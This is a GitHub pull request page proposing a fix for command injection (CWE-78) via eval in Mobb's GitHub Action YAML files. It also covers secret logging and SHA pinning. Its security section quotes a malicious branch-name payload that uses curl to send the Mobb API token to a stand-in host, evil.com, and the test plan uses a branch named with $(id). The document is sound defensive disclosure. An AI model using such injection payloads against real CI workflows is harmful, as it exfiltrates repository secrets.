Skip to content

fix: prevent shell injection via eval in action.yml and review/action.yml [E-1815]#29

Open
jonathansantilli wants to merge 1 commit intomobb-dev:mainfrom
jonathansantilli:action/E-1815
Open

fix: prevent shell injection via eval in action.yml and review/action.yml [E-1815]#29
jonathansantilli wants to merge 1 commit intomobb-dev:mainfrom
jonathansantilli:action/E-1815

Conversation

@jonathansantilli
Copy link

Summary

Fixes command injection (CWE-78) in both action.yml and review/action.yml:

  • Remove eval $MobbExecString — replace with bash array execution
  • Move all ${{ inputs.* }} from run: blocks to env: blocks
  • Remove echo "Mobb Command: ..." that printed api-key and github-token to logs
  • Replace bash -l {0} with bash
  • Quote all variable expansions (including $GITHUB_HEAD_REF)
  • Pin all action references to immutable commit SHAs

Security Context

review/action.yml builds a command string containing $GITHUB_HEAD_REF (the PR branch name) and secrets, then executes it via eval. A malicious branch name like test-$(curl${IFS}evil.com/${MOBB_API_TOKEN}) causes the eval to execute the embedded command, exfiltrating the Mobb API token.

This affects all 12 Mobb-Fixer-Demo repos that consume mobb-dev/action/review@v1.1.

The fix replaces eval with direct command execution using a bash array, and moves all secrets to env: blocks where bash treats them as data.

Consumer Impact

None. The action inputs: and outputs: are unchanged. This fix is transparent to all consumers — no workflow changes needed. The 12 Mobb-Fixer-Demo repos continue to work identically.

Test plan

  • Create a branch named test-$(id) and open a PR to verify the injection no longer executes
  • Run a normal workflow to verify Mobb review still generates fixes
  • Run a normal workflow to verify Mobb analyze still generates fixes
  • Verify fix-report-url output is set correctly
  • Check workflow logs to confirm no secrets are printed

Ref: E-1815

Security fix for command injection vulnerability (CWE-78) in both
action.yml and review/action.yml.

Changes:
- Remove eval — replace with bash array execution for safe invocation
- Move all ${{ inputs.* }} from run: blocks to env: blocks to prevent
  shell injection via attacker-controlled values
- Remove debug echo that printed API tokens and github-token to logs
- Replace bash -l {0} (login shell) with bash (standard shell)
- Quote all variable expansions to prevent word splitting
- Pin all action references to immutable commit SHAs:
  - actions/setup-node v3.6.0 -> v4.4.0 (SHA pinned)
  - actions/checkout v3 -> v4.3.1 (SHA pinned)
  - actions/upload-artifact v4 -> v4.6.2 (SHA pinned)
  - actions/download-artifact v4 -> v8.0.1 (SHA pinned)
  - Sibz/github-status-action v1 (SHA pinned)

The action interface (inputs/outputs) is unchanged — this fix is
transparent to consumers.

Ref: E-1815
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant